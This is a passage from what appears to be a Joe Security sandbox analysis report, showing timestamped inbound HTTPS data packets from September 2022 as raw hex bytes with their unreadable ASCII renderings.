2022-09-28 05:32:41 UTC 113 IN Data Raw: 6f a0 1d 95 75 87 17 83 86 b3 16 55 8f 97 20 42 bb 2c 71 47 02 ba 7b 08 0a 50 d9 31 9c f8 80 04 12 85 ae 55 
79 e0 93 4c b1 8d 7d 72 fa b3 24 97 b7 18 ef 4d 5d 7f b5 7e 6f 6f 63 73 93 44 5f 67 89 f5 d1 6a d1 e6 cc 68 db a9 9e be 
dd 51 b4 21 4b 0e 33 81 bb 6c 33 4d 7d 79 cf 45 42 c0 69 56 f7 3d 7a 8b 55 30 47 d3 92 44 18 0d bd 65 83 0c 61 c2 fd 42 
21 08 46 48 3d 0f c2 65 29 40 9b 24 21 99 cc ca ac 0f dc a6 1e 09 ff 92 31 bd fc 3d b8 d5 75 13 31 b4 0d 2e 36 83 22 3c 
63 bd b8 8e f4 3f d5 b0 ba a3 fe 4e 86 b1 4b d6 89 05 c0 ea ab 7d 40 e1 69 85 0a d4 11 7d 4b 03 b9 91 b1 4a 3f 05 b2 06 
12 2d 08 ab 21 a8 b0 56 d4 c4 7a 0d 9b 97 43 b6 51 68 aa c4 78 1f 0f 99 f3 a1 2d 1d 44 a8 7b 84 b4 ca 32 2a 5d a8 dc 67 
75 07 d2 0e 88 8c 9b d2 db f1 e2 f5 a7 a6 36 70 f1 54 d0 
Data Ascii: ouU B,qG{P1UyL}r$M]~oocsD_gjhQ!K3l3M}yEBiV=zU0GDeaB!FH=e)@$!1=u1.6"<c?NK}@i}KJ?-!VzCQhx-
D{2*]gu6pT

2022-09-28 05:32:41 UTC 113 IN Data Raw: 0f 48 de 95 b2 8f 62 6b 92 c5 ec 50 d2 07 09 3d a3 a8 ec 88 d4 52 ea a5 8b 02 a0 17 6c c5 3a 73 42 14 ca 56 
c4 3b 9c 6d 8c 2b fb a1 d6 35 6b 83 8d 22 77 bf 40 77 47 1b aa 39 33 17 45 ec 31 80 8b b7 61 36 8f 99 58 6a d6 f6 7c a1 
8b 54 4e ea a4 4d b5 b5 79 cd 47 5a 72 b6 79 49 50 7e 76 8f 44 44 6c 8b e3 f0 62 d7 e1 d5 09 f3 cc af a9 d9 58 95 20 4a 
6c 18 81 cf 6a 33 41 69 76 c8 5d 11 ba 08 69 f7 5c 49 b9 7e 3d 75 d9 e0 53 05 05 ad 2c 8a 1d 24 ab b8 68 2d 1d 61 74 
30 04 a5 4d 29 2c ac 35 25 fd ea e6 b6 24 ba e7 7b 08 f2 96 39 84 f0 2b a9 80 34 67 06 d1 1f 2f 17 95 0f 3a 37 ea cc 8c df 
24 dd 89 bb b4 f8 4d ef ad 40 a2 91 37 dd c7 a0 7c 44 c6 6f 89 05 c5 7e 48 5d 77 ba 9d b7 7f 3d 03 bc 19 0e 17 0c b4 37 
a8 94 46 d2 e9 4f 02 9d a3 5d b6 57 0d 9c f5 6d 0a 1e fc 
Data Ascii: HbkP=Rl:sBV;m+5k"w@wG93E1a6Xj|TNMyGZryIP~vDDlbX Jlj3Aiv]i\I~=uS,$h-at0M),5%${9+4g/:7$M@7
|Do~H]w=7FO]Wm

2022-09-28 05:32:41 UTC 115 IN Data Raw: 4c 16 14 ae d8 c4 40 ef 60 ff 7d 3f a6 11 bb 63 15 80 df 8c 27 f8 28 19 3a cb f1 9f 43 9f 14 49 2d f3 62 d4 ce e6 
86 61 d7 88 39 15 9f b3 4e b6 de 07 fd 47 dc f4 4d 49 4e 16 f0 b5 2d f8 ce 55 2e 19 74 f5 48 a9 6d 36 d5 bd 6c 73 47 b0 
d2 d4 b1 24 9d 84 ee 08 a0 8b b8 5b 39 ac 81 0d 1a e6 c9 19 67 e7 a2 99 0e d6 bb 8d a3 d4 bc 3f b5 b1 8e ba 05 e0 80 
3e e0 27 0a fe d7 9d d2 6d 6d 5f b0 5a 83 13 86 37 74 5a 94 bf 0b 1c de bf fd cb 63 04 e0 dd 87 fd c6 02 f8 f7 a3 0c 9c 66 
4f a0 da 23 c8 c0 d3 a7 87 a5 0a 5f c4 d5 33 ff 12 d7 90 21 01 a0 e2 39 58 29 1d 97 78 b9 bc ed c3 16 32 ac 39 17 94 dd 
f4 83 06 b6 b0 05 d1 21 2a f9 1d 70 6e ef 95 2f e1 53 ea 35 95 00 0a b3 50 c2 1f 61 ae 83 ab 28 76 fa b1 2f 3d b7 11 c4 
61 39 b7 f9 d4 c9 9b fb ea c0 8c 35 a4 59 50 45 47 
Data Ascii: L@`}?c'(:CI-ba9NGMIN-U.tHm6lsG$[9g?>'mm_Z7tZcfO#_3!9X)x29!*pn/S5Pa(v/=a95YPEG

2022-09-28 05:32:41 UTC 116 IN Data Raw: fb e8 3e 31 85 c6 c1 bf a9 1b 95 51 67 41 5d fe d5 94 db 07 83 76 8d 3b 87 92 3f c3 52 2c 0f 19 cf 03 52 a3 aa 
3b c6 34 9e 65 f6 93 3a 7c 3c f2 33 61 ba d7 d2 9c d0 b7 a9 02 6d 4c 33 b3 a2 ba 52 cc e7 10 64 49 19 9d 45 62 d9 d9 eb 
d5 3c 47 da 21 27 58 25 38 24 7e 34 85 0b 9e 8c af 86 cb 0c 4e 27 e6 fb c6 01 3c ae 16 f8 92 63 5f 66 b2 36 3f f4 fb ed 
38 da 48 f6 10 a2 77 36 a7 6c 7c df 87 4d 3a aa 47 54 a9 4e bc ae 5d 67 e8 16 52 3f b9 50 33 94 e4 a6 89 da 82 73 89 41 
31 57 c3 64 b3 12 fa 5c 1f f9 43 48 a0 83 d2 7d 58 7b 1f eb 4f de 42 e7 28 fd 82 26 d3 3d e7 98 dd 5d 4c 13 ef 6d 84 d6 
8e 81 3c 3b d0 0f 65 06 b1 c7 8f ef 13 e2 c5 da 7b ac 11 87 54 9d 8d 7b b9 37 c9 31 47 1d 71 48 ad ab d4 4d a2 78 b4 2c 
16 9f c2 67 d6 b5 a1 37 1e 8b a5 09 45 c0 fe 41 0e 77 
Data Ascii: >1QgA]v;?R,R;4e:|<3amL3RdIEb<G!'X%8$~4N'<c_f6?8Hw6l|M:GTN]gR?P3sA1Wd\CH}X{OB(&=]Lm<;e{T{
71GqHMx,g7EAw

2022-09-28 05:32:41 UTC 117 IN Data Raw: 75 52 64 35 bc 57 e2 85 f8 01 4a f7 cf 22 8b 0d f7 3f 45 cb 2c 08 8f 56 81 d9 c3 f8 b8 39 59 0b 56 2a 1a a3 15 
1f eb 58 03 18 6a 1a b6 16 35 a9 a9 28 8a dd 7d 61 b9 2d 50 6e 35 1b 65 64 52 3a 47 a1 2c 2e e6 23 32 9f 88 9e 90 2c 
ac cb 2d 04 09 a9 f1 81 cd 65 d8 e4 c5 7f 12 9a b6 27 4d 69 17 a7 f0 6b de 30 cd 0d ec d1 5d 91 a2 be 59 71 8f d5 79 5b 
99 ea 58 c4 be 4f d3 ab 05 76 d4 7d 63 57 4a cd 21 5c 87 c5 c4 fa fa 41 c2 d0 d4 c5 99 28 06 0b 3f 22 1f 45 ae 82 c1 0f 
32 a7 0f 7c cf b0 0d 28 1e 65 7c e1 d6 3e dc dc dc 66 5b 79 6e c2 55 e8 e6 32 26 13 1d 72 6e e3 21 93 31 58 fb b0 94 e7 
79 ed 24 e1 50 28 27 a8 1d ef d1 14 7e 5b 39 c9 a2 01 9d 71 b4 5c e4 e0 fe b3 b2 ff 8b 9e ca fe 78 0a 8f 34 b1 ac fb 06 
e7 20 9a ab 22 90 f0 dc 5d 86 a6 87 68 46 fb 44 4a 87 c9 
Data Ascii: uRd5WJ"?E,V9YV*Xj5(}a-Pn5edR:G,.#2,-e'Mik0]Yqy[XOv}cWJ!\A(?"E2|(e|>f[ynU2&rn!1Xy$P('~[9q\x4 "]hFDJ

Timestamp
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2022-09-28 05:32:41 UTC 119 IN Data Raw: 0b ea 3d 8c f1 c8 59 38 0c f3 24 5d 29 9d 25 48 41 e5 40 c6 b9 c0 54 58 21 bd 9b ea 08 a2 83 ae dd 10 b6 08 
dc 1b ee c3 39 65 d9 a9 80 9d 76 67 9f 22 1c 2f 9f ce b9 9d 34 e5 73 21 d5 f2 a4 12 6c 9c 7e d3 6b 7f d0 59 50 9f 11 80 2f 
71 5c 8e 37 f6 1f dc be fd d8 68 04 e0 d5 98 fa c0 17 fc ff af 0c 9c 1b 49 a8 fe 22 db 43 a0 ae 82 87 0a 42 cb 55 35 d8 11 
db 8c 38 1b 2a 2b 1f 59 26 12 80 fe a1 aa 6c bf 10 3b a1 24 10 8e 54 30 9a 05 33 ac 12 c0 a2 b7 e3 95 8d 71 7d 88 be ef 
5d e3 3c 8e 87 ee a7 41 40 82 7b 26 6d b2 ae 69 e0 a0 ad a0 ad 99 2c 6b 33 b2 fc d4 ca 9b c7 f0 c2 89 27 96 4a df 4d c9 
db 81 9a 33 d7 8c ce cd 76 48 51 15 30 1b 1d 27 62 97 1f 45 7d e8 98 f2 7a fc f6 b1 4f 29 f4 62 5c 07 d0 41 38 2c 75 c9 
7c 4d f8 8d 87 5e e0 99 64 d1 5f fa 5a 94 0f 84 f7 
Data Ascii: =Y8$])%HA@TX!9evg"/4s!l~kYP/q\7hI"CBU58*+Y&l;$T03q}]<A@{&mi,k3'JM3vHQ0'bE}zO)b\A8,u|M^d_Z

2022-09-28 05:32:41 UTC 120 IN Data Raw: 13 ec 54 37 b5 b3 3b 4e c8 e6 10 64 3d fd 82 44 6a d1 d8 eb d4 3c 47 da 21 27 5e 05 39 25 6f b4 44 1c c0 cf 
ca b9 f7 20 4e 07 f7 fe c9 75 34 da 4d b9 d0 28 0a 66 e6 5a 53 f1 db ef 39 d4 b9 d6 11 82 37 36 a7 34 7d df 9e 1e 43 d9 
33 31 c4 60 eb c7 33 03 87 61 21 11 ff 3f 41 f9 97 88 cf b5 f0 1e 9b 02 43 32 a2 10 d6 4d a5 15 71 8a 37 29 ce e0 b7 22 
07 68 5b 82 3c ae 2d 94 4d a2 dd 6f bd 4e 93 f9 b3 3e 29 4c b0 7f c9 af a0 cc 45 6b a2 60 0f 63 d2 b3 a1 a9 7c 90 a8 a9 
7b ac 16 a7 50 9c 83 75 b7 39 a8 30 47 29 22 31 de 3f b0 20 80 2f d1 4e ac fb a7 15 a0 dc c2 52 6d a5 f5 7b 2a b4 91 22 
61 1b 92 5f 6c 2f fe 3d 0b ba 62 f0 8d 73 9c 12 5b 7d f7 64 c6 4e 4a 82 67 c5 09 b8 11 99 a1 ce 56 dd 01 ef 0f de f2 47 4e 
48 03 e2 35 84 f9 c0 51 28 0b f5 2c 4f a9 6c 37 c8 ac 
Data Ascii: T7;Nd=Dj<G!'^9%oD Nu4M(fZS9764}C31`3a!?AC2Mq7)"h[<-MoN>)LEk`c|{Pu90G)"1? /NRm{*"a_l/=bs[
}dNJgVGNH5Q(,Ol7

2022-09-28 05:32:41 UTC 121 IN Data Raw: d7 d5 ac 6d 11 34 a3 7c 84 8b 9b c7 12 94 a2 25 60 e7 a0 a7 8e 55 8b 7e 68 8a 8a 67 0c b4 e6 17 c4 e5 a4 31 
b1 28 ec b4 ea 7a 88 95 ea 39 d1 4c 2f c9 db f5 5f 8a 1d 8d 0c a1 cf 1c ac 26 e4 d3 9a 0f cd c4 d1 cf 58 2f 9c 66 9e 13 59 
a7 0d ed 79 c7 86 d3 ac 2e 95 1a 3d 54 69 10 11 1a c7 8c 48 47 18 58 21 94 7a c9 91 9d 19 43 cb 43 ae a3 4b 34 f1 7f e4 
39 c6 89 2a 53 e5 7e 34 db 53 e3 1a 77 e1 d1 19 87 ae 5a 98 42 83 47 8f b4 1a bf ae df ea b5 69 0d 75 9f 60 0c 2d 23 6c 
54 93 a4 bb c0 8c e3 b7 17 95 c0 d9 2e 11 e0 92 2d de 68 b6 0c f0 a5 87 1b 35 ef 86 8b 70 b2 1c 85 88 b8 29 e9 47 f5 75 
79 14 88 e1 bc 19 93 85 a5 99 d1 9c ee 60 cc d5 21 ae d5 be 87 a7 5c ac ba 80 8c d6 76 2c ed 44 f9 6b 30 0d 11 85 88 
bd 53 6b 6f ea 19 3e ee 30 89 00 82 7b 04 88 64 d5 e9 52 
Data Ascii: m4|%`U~hg1(z9L/_&X/fYy.=TiHGX!zCCK49*S~4SwZBGiu`-#lT.-h5p)Guy`!\v,Dk0Sko>0{dR

2022-09-28 05:32:41 UTC 122 IN Data Raw: cd 90 f2 6e e7 eb ee d1 dd 4d fc bf f7 e3 f2 67 73 26 c0 ac 10 10 02 25 11 8c a0 60 e5 26 90 21 3a be a4 7d 61 
8e f2 15 9e b3 28 9f 31 03 83 d7 78 4f 35 68 48 25 45 66 73 31 78 af 5b f1 8d 59 49 49 65 23 a4 e9 52 0d 42 51 7c 1c 08 
18 44 63 d1 c5 e9 7a f0 55 c6 8b 8f aa 29 03 58 12 8a 60 52 e6 68 16 de 9c e3 e4 17 04 a8 eb ca 5f 4f dd 3a e7 a2 f1 6c 
fa 4f ef f2 31 50 cb 48 0c 66 b5 ca ed 39 96 34 d4 7b 45 e9 77 76 42 b6 30 5e c0 d5 29 8e 32 a0 b5 50 90 11 ce bb 5b 36 
98 c5 0a 9d 33 51 6a 75 c4 e3 ba 98 0b 0d 23 e4 26 67 17 b6 4c 78 57 0b 76 a4 56 cd 38 80 d8 b0 ea 08 1e 2b 25 a5 49 
d3 6e f1 0d 4e b7 78 4a a2 af 8e 7e 19 b6 95 90 52 63 b4 25 3f 57 f6 9c 4b 35 c9 1d 66 50 e8 a6 a8 4e 54 91 a9 01 f3 e5 
6a 6c 60 44 d2 58 98 c4 44 64 d4 25 9e c1 66 fd 7b f8 97 
Data Ascii: nMgs&%`&!:}a(1xO5hH%Efs1x[YIIe#RBQ|DczU)X`Rh_O:lO1PHf94{EwvB0^)2P[63Qju#&gLxWvV8+%InNxJ~
Rc%?WK5fPNTjl`DXDd%f{

2022-09-28 05:32:41 UTC 124 IN Data Raw: b7 53 92 cd 70 64 80 31 44 64 75 c1 00 80 e3 65 d7 f7 4b 69 16 35 f0 a7 3d 9d be fa b5 07 2d 04 22 7a 04 20 
de d9 e9 d7 3d dc d8 01 77 a0 3c 2e 47 f2 99 00 fb 30 78 cb 81 3d 35 25 78 6a 21 20 0e 9b 11 b3 e3 dd 06 9f 06 c1 fc 72 
b4 0e 16 c6 9c 7e 21 31 ae 72 5a ed f4 6d 1b d1 d0 1c ac 1a 58 89 9a 44 cf 1c f2 09 57 77 6e f7 af 3e 21 53 08 da 48 9c 
5f 02 1e c8 65 67 1f e8 73 4b a2 ec 75 e0 c2 a3 55 15 01 af 23 ed 3e ed b8 5d 83 3c 6f 0c 59 b1 4d bf 4b d5 f4 cf 55 84 
46 43 7f c7 9f 40 7f 3c ec 94 6f 03 60 e8 71 01 ce b0 53 ca e3 ff f0 d7 c3 fb b5 26 8b 2c 83 78 fd 68 50 bd f5 a9 f3 50 41 
93 df 4e 69 8a 1d a7 cb 9d 65 5e 18 1d a1 de 49 d2 bc 67 03 b6 1f 03 7f 24 60 79 88 e4 cd 3d 2e d0 a5 ff 8b 80 91 77 2f 
10 a4 74 99 21 ff 4a 6b 0d 39 1f ab 3e 2f 53 cb 2b f7 
Data Ascii: Spd1DdueKi5=-"z =w<.G0x=5%xj! r~!1rZmXDWwn>!SH_egsKuU#>]<oYMKUFC@<o`qS&,xhPPANie^Ig$`y=.
w/t!Jk9>/S+

2022-09-28 05:32:41 UTC 125 IN Data Raw: 32 41 9d 2f 7e ce 91 37 b6 c2 f7 cf 38 ce 99 93 e5 6b 33 6e ff 5d 3d 48 79 46 b9 71 3e 4a 6c 20 70 d2 6b 60 
17 45 b5 4b 82 96 6f 08 be 43 9b e9 75 8c 07 8a a2 af 92 6c 0d ed 88 52 d9 f3 d3 2d ff 2e aa 35 45 0a 81 4b c5 53 28 76 
15 eb a4 e7 fa 6f 41 7c ca e4 5d f1 e2 f6 fa d9 d7 a5 36 f5 a6 fd 48 5a 2c 2a c9 de 4a 31 e8 85 cc 78 cb 3d af bf 51 eb c7 
03 b5 15 cf 50 32 6f 65 9e 70 63 30 21 c0 fb 0c c9 38 96 6b 82 a5 71 74 f5 58 71 a9 9c 8a c3 3f 29 37 10 b2 a4 19 bc 70 
7d 14 7b d8 63 14 43 d7 d6 3b 33 ba 0a 5a 7f 5e da 8b cf d3 f0 62 e7 57 60 cf 89 03 56 8f e9 60 56 36 1a 54 40 2a 3c a7 
1f 6f 3c 2b c4 e3 e1 9c eb 96 9f 64 36 d3 89 ab 5b a7 5d 4a a6 43 33 c3 af 0a 6b 12 11 08 a8 9b 4e 40 cc b5 ac 70 86 c7 
9a 5e 2e 84 e7 0a 37 3a 88 1c 6e 09 8f 05 2b 66 3f 8f 
Data Ascii: 2A/~78k3n]=HyFq>Jl pk`EKoCulR-.5EKS(voA|]6HZ,*J1x=QP2oepc0!8kqtXq?)7p}{cC;3Z^bW`V`V6T@*<
o<+d6[]JC3kN@p^.7:n+f?

2022-09-28 05:32:41 UTC 126 IN Data Raw: 11 ed 59 a3 9f 51 86 bf ed 9a 17 24 89 08 3e bb f1 1c c2 57 ac f7 89 09 e8 ec dc 58 3f 3f 81 2f ba 1f 90 3d 1f 
e9 5d ce 81 d4 60 65 c3 df d9 8b 98 62 c7 da bf ba 4f b2 cb 77 45 1f 7a 78 c2 1a b1 40 e3 3e 0a 09 0d b5 d3 32 7e ae b0 
c5 eb 3b f6 29 69 e4 47 1c a3 99 cd f4 c4 20 7e 33 36 8f fd aa d0 ce 2c ce 50 bf de 05 11 8b d1 b7 d9 ae 3c 8c 17 70 b8 
c5 42 80 74 69 49 b2 ef 4d 0b cf 63 fa bb d9 5a 4b b6 4c 05 56 a9 d7 37 d5 e8 77 40 02 c2 75 8d db 86 16 54 5a 6c 15 0c 
43 4e ee 6f 7d d5 98 15 11 e8 0c 25 f0 2c 33 44 6f 7f a5 11 d1 32 8c 5d 8f e4 4e a4 b8 3b 41 80 83 b9 90 56 c0 de c3 cb 
34 2a 17 dd 81 44 46 0c 7f a0 be 78 82 ca 11 46 99 3e 34 11 2f 9e a0 79 14 60 fb 3d 17 0f b8 40 ec 5d ea f8 8b 11 a0 c0 
94 0c 9d 52 4b 84 bd 87 e4 59 78 33 17 38 b1 0a 95 85 
Data Ascii: YQ$>WX??/=]`ebOwEzx@>2~;)iG ~36,P<pBtiIMcZKLV7w@uTZlCNo}%,3Do2]N;AV4*DFxF>4/y`=@]RKYx38

2022-09-28 05:32:41 UTC 127 IN Data Raw: 26 d7 2e 80 fd 45 8f 4a 4f 10 af e2 3d 14 26 75 dc f1 3b 33 dd 76 55 fa 62 9f 1e df 5b c1 d7 1e a6 d3 4d 07 e6 
9c f0 63 2a 2e ac 12 7e 1b fe 77 fa ad 7e 48 09 5d 56 80 3a ee 78 73 eb 7a 49 3f 60 f7 cb 6e 18 62 2b ab 43 c9 16 13 fe 
7a 7f 89 50 44 b6 9f 6d a7 da e3 a0 1a ae 98 20 bc 1e 4c ba 33 7c 8b 92 4f f6 04 e9 b8 85 69 8d 2c b5 ca 1b a7 e4 15 17 
76 ea 3a d2 e8 e1 68 92 47 f8 c1 15 fc 63 8c 52 3a 81 4a 7a 0d 30 cf 05 89 02 f8 e1 5a f6 e7 68 14 d5 99 24 55 51 8d ff 
c7 4b 25 d7 1c 81 f6 ed 5d 9c 04 3d 68 09 94 8c 36 6b 62 92 f0 38 27 19 ff b6 6d 1c 6e 34 bb 94 11 82 ba 83 85 fd fb ed 
48 d7 70 a7 b9 25 57 d9 aa 3e df c6 bb 57 fd 85 65 60 ea 34 9d 57 d4 6a 7d ae 42 bd 43 58 f3 8c 2b 54 ce f1 84 16 8a 5b 
9b 1a a0 b3 23 ec b9 02 8f 3d dd 4f f3 cc 2d cd 3a 99 
Data Ascii: &.EJO=&u;3vUb[Mc*.~w~H]V:xszI?`nb+CzPDm L3|Oi,v:hGcR:Jz0Zh$UQK%]=h6kb8'mn4Hp%W>We`4Wj}BC
X+T[#=O-:

2022-09-28 05:32:41 UTC 129 IN Data Raw: ca 01 d4 66 c0 37 14 7b e5 a9 93 0c 87 d8 9d 11 54 15 4a 46 92 6d 82 0e 12 7e 29 b8 6e 48 32 a2 5d c5 59 
12 3f 38 59 24 ea de 9e 6a 31 c4 b8 cf 30 c9 b2 15 0b 5b b2 1f 23 fa 60 e8 2b ee 49 9c e5 53 65 12 12 0c 38 c4 fb 6f 71 
4c f8 da 23 73 ee de 47 50 91 1d 95 d9 c5 7b 1c 04 2c d3 8c 0c a6 28 fd 40 9e 8d 42 b7 45 76 c9 f0 3d 08 bc c8 3f 77 7c 
13 70 74 65 cb 58 10 26 74 6d 1c 3c 7d ed ca 53 d7 af 7b 2d a2 93 f3 37 32 52 fc 35 7f 97 16 00 29 c1 ca 9f f0 e6 bb 9a 
00 1e 91 74 2b 5d 0e 52 72 4e 6a 77 ca 64 fb ea 28 7f ec 0c 8f 0c 49 a0 ca cf 84 f5 45 1a 2b f4 f2 98 58 f0 3c 28 85 12 24 
b4 37 11 e6 00 0c 3c 78 a7 f0 1d 36 f3 c4 26 89 e7 0a b6 78 9d 1e db 17 db 31 b1 7b 32 ff ed d7 2c ae 44 dd 0d cd 71 74 
fa ac 3a 4b 7d f6 3c 59 d5 7f 42 20 ea 2d 94 1e d6 a0 6c 
Data Ascii: f7{TJFm~)nH2]Y?8Y$j10[#`+ISe8oqL#sGP{,(@BEv=?w|pteX&tm<}S{-72R5)t+]RrNjwd(IE+X<($7<x6&x1
{2,Dqt:K}<YB -l

Timestamp
kBytes
transferred
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Copyright Joe Security LLC 2022 Page 70 of 90



2022-09-28 05:32:41 UTC 129 IN Data Raw: 57 c1 a7 1a 58 de dc 79 fd 76 ce 72 40 94 33 3e 55 c5 7f e8 20 95 9b b9 d5 42 16 8d 69 cd a9 d9 df 1f d9 86 
a6 13 95 8b f0 66 54 c6 11 95 2e f3 1c dd 5a 70 99 42 fc 58 d0 85 9e 49 ff 89 ca fa d9 76 de 53 cf 67 a0 11 e7 08 e3 6e f7 
73 74 6b ca c3 7e fd 67 d5 de e2 2f e3 4f 17 7a 61 46 61 b0 10 22 99 5f 1a d0 d0 80 e0 6a c3 7f 51 94 48 b4 a0 56 1f 90 
c5 e1 fa e5 4f 69 dd d5 65 fd 63 dc bd d6 11 6d 87 ba 7c 98 bb 25 e2 42 68 f3 c8 7d 19 70 4d 65 fd 35 d5 34 81 d2 d4 e1 
a5 95 45 a4 ee b8 eb e5 0a 22 c3 00 db ff b7 a1 94 16 3f 33 3e 57 00 ef bc e8 a0 34 ea 16 f8 b0 1d 2e 88 bf d3 90 04 81 
62 3c f0 a9 84 61 61 09 56 72 e9 73 e6 c7 fc fa a3 e5 5d 8d 1f d5 ee d7 dc b9 eb fe 0a 17 49 2c 3e 4c ef 84 ef 0b 34 8c d1 
6f 4d 1c 5b 33 fe 22 2a 02 1e 9d 6f 7d 5d 58 4d ea 
Data Ascii: WXyvr@3>U BifT.ZpBXIvSgnstk~g/OzaFa"_jQHVOiecm|%Bh}pMe54E"?3>W4.b<aaVrs]I,>L4oM[3"*o}]XM

2022-09-28 05:32:41 UTC 131 IN Data Raw: 48 93 b5 da fd 2a c6 9f 11 56 f7 e2 1e a4 ee 65 b9 10 50 ba ad 73 06 4d f6 68 bc 0b 9a 0c 4c 63 b2 e0 d4 56 
77 c7 f7 ae 78 00 88 50 28 80 40 9c 0b 1c 71 94 f2 26 cc 77 a4 33 da cc 1c 49 65 f6 32 43 18 cf ae 28 d4 47 9f 53 65 db 
39 f2 0e 0e 51 cd e1 46 1c 95 92 b9 7b a7 a0 69 72 96 2e 2b 4e 45 e6 00 94 00 5c 53 55 56 e4 78 77 76 42 36 35 1e 12 
17 6a 53 49 ea c8 c1 75 30 72 13 94 06 b9 de 5d e5 78 e4 6c 28 45 65 1e a5 58 34 2e 08 ca 9d b4 36 a9 0d 99 27 87 08 
dc 15 b2 d4 95 da 3e 19 1b 20 54 ac 55 3b 63 49 e6 2e 5a 4a de 71 b0 24 27 73 2b 1d 7c 7b bb 1d aa da 68 75 93 5d 84 
c8 86 06 aa 3c 9c 0b 6c 66 63 84 af 44 9a 64 e4 da 68 a6 08 6d 5d 33 93 91 9b 8c d1 7c 95 cb 45 cd f5 8c 33 75 c4 c5 f1 
32 fb 70 0e 35 46 20 d3 d0 39 2e a4 cc 4f f5 1c ed 91 c2 05 1c ac 
Data Ascii: H*VePsMhLcVwxP(@q&w3Ie2C(GSe9QF{ir.+NE\SUVxwvB65jSIu0r]xl(EeX4.6'> TU;cI.ZJq$'s+|{hu]<lf
cDdhm]3|E3u2p5F 9.O

2022-09-28 05:32:41 UTC 132 IN Data Raw: 89 7c 08 ba 15 a1 3f 65 c4 d0 ad 3a e5 9a 20 1c 20 d8 4f 17 60 29 3b 2c ef 79 c4 7d 3e ef 59 65 ef 09 61 5c cf 
a2 51 bc cd 07 3a fb 16 51 08 f5 35 71 12 c0 5b 98 c0 84 cb bd cb be 2c 03 18 bc 67 2e 37 15 d2 2d c2 77 34 30 f5 24 20 
91 45 c9 90 77 6f ba d3 fe 07 b7 f1 6e eb 47 3f bd e8 ab c3 de 51 43 15 7d 39 3b d1 89 08 80 71 c8 b8 ec 76 7f 64 4e 40 
2c 60 a6 e2 1e a5 28 8c ab 2e ee 4a 55 f7 23 d7 b3 49 e1 ea a2 48 75 7f 9e c2 d3 e8 bb 9b e8 d1 1e a1 6e c4 7e 16 38 
00 2a 36 08 27 43 8e 68 1b 2a 2f 31 f1 f0 34 d6 06 63 9e 02 82 23 00 cd 9a 6f 90 76 3b 0b 37 37 7b 79 27 1d 56 9e 08 9f 
d1 09 6f e1 14 ef 6d fe 0c f4 14 ff 41 49 d1 7b ec de ae cb 43 c3 60 c0 28 2d 70 74 a3 e1 ba f9 d7 57 b3 b1 29 a7 1b 8c 3c 
ce 84 c5 2e 5a 22 45 cf 27 3e 23 6c d6 0c ba 92 ef e7 
Data Ascii: |?e:  O`);,y}>Yea\Q:Q5q[,g.7-w40$ EwonG?QC}9;qvdN@,`(.JU#IHun~8*6'Ch*/14c#ov;77{y'VomAI{C`(-ptW)<.
Z"E'>#l

2022-09-28 05:32:41 UTC 133 IN Data Raw: ba 10 cd 44 81 c5 c6 e7 7f 36 23 96 ad 73 1d a5 cb dc e4 52 b9 cd 4d 83 0c e5 69 48 9a f5 a9 dc 58 82 b0 78 
4a d8 97 5a b2 0f e9 01 89 36 7d f2 e1 7b e2 4e 24 48 16 62 68 45 ad 5a 8e df 83 06 28 1c 1f a9 68 ac d2 73 a2 fe 18 4e 
6d ab 22 d2 1a 34 8d b7 55 f6 11 b0 84 5d df 12 67 87 69 89 eb f6 67 5f 79 df 9f a9 59 71 86 a5 84 99 eb 38 97 02 d3 a9 
c0 06 fc 06 74 3c b6 32 3c c9 66 0c be bd a1 97 87 e1 9a 52 4a 42 65 95 63 6f 2e 4b 95 8e 3e b0 d6 32 87 2f aa 0a ed b7 
f2 ef 23 63 76 ec e4 f3 1e 0b 28 ba fd 6c 1d 2e 35 c7 2d 21 da a1 89 94 dd 0b bc a7 4d fb 2b 09 7b c5 f8 b0 80 6f 14 5b af 
d6 6e bf a5 55 ff 06 72 e9 d1 95 92 ff b4 f3 48 c6 1d 35 ed a1 d0 89 ef c7 be 29 1a 85 c5 85 0e e7 6d 7a 83 9f 26 21 67 d3 
91 b1 4d 04 27 3c a2 dc 20 10 b6 d7 17 2f 4f a2 0c 
Data Ascii: D6#sRMiHXxJZ6}{N$HbhEZ(hsNm"4U]gig_yYq8t<2<fRJBeco.K>2/#cv(l.5-!M+{o[nUrH5)mz&!gM'< /O

2022-09-28 05:32:41 UTC 135 IN Data Raw: 89 d5 fb 19 fd 75 95 50 07 14 a2 e7 00 24 7f 95 3d d9 ae 44 62 bc 55 60 a7 af 62 f1 c3 35 60 ab f2 95 bf f8 ab 
3e 7a 7e fc be 75 77 b5 53 a4 d7 f8 1a 84 e2 84 8c f0 91 14 dc a7 54 9d d2 34 7b 74 ce 4c f4 6b 66 7a ec 04 df ec 82 1a 
0f 2f 0c 90 29 9d b1 18 a7 91 4a 6a 27 47 07 89 12 f1 e9 64 be a2 22 d8 89 26 21 16 65 7e 05 a5 fb c0 68 ba 97 94 38 66 
0a 77 f5 58 a5 7e 79 e8 3e 8d c9 49 d6 48 62 8e 60 29 d4 26 65 92 1a 2e 27 1d 06 90 4b 3d 5f 10 bd 60 c6 3f 5d 79 4f 97 
2d 87 90 7e 9d 75 7a 93 5f ad 6c 95 6d 9a c8 8f 20 46 b2 f2 30 b8 9b fb ae 52 96 08 1e 5e eb 2e c7 1a b1 e2 b2 fb 70 9b 
40 29 bd fe 0c 5b 05 97 7d f7 8d fa fc 15 0d 3d 46 d0 40 39 67 b5 ec d5 27 a5 68 7c 2b 29 c4 27 c8 16 f7 e3 62 1c c8 93 
bc 57 06 c4 74 61 49 a7 40 c9 a7 c8 74 00 b4 1f 04 e7 
Data Ascii: uP$=DbU`b5`>z~uwST4{tLkfz/)Jj'Gd"&!e~h8fwX~y>IHb`)&e.'K=_`?]yO-~uz_lm F0R^.p@)[}=F@9g'h|
+)'bWtaI@t

2022-09-28 05:32:41 UTC 136 IN Data Raw: 18 17 5b 9b f2 90 8d 3c c0 3d 8f 85 d8 e2 88 d6 71 04 b7 4b 50 14 2f c1 e8 94 17 9c d0 13 b0 9a 52 b4 7b 9e 
f8 11 c7 61 43 62 25 03 da 30 da c9 4b ce bf ce a5 d2 0d 62 f4 bd 62 5c ca dd d8 a3 2e eb 81 2d b3 43 56 5e dd 35 80 b0 
ac 12 f7 c6 33 cb cd d6 be 20 b4 2e 5f a9 84 d7 e7 51 26 67 3f df 8b 9f dd 41 73 82 14 e4 c6 75 c1 26 30 c3 fc 1e ab 27 c8 
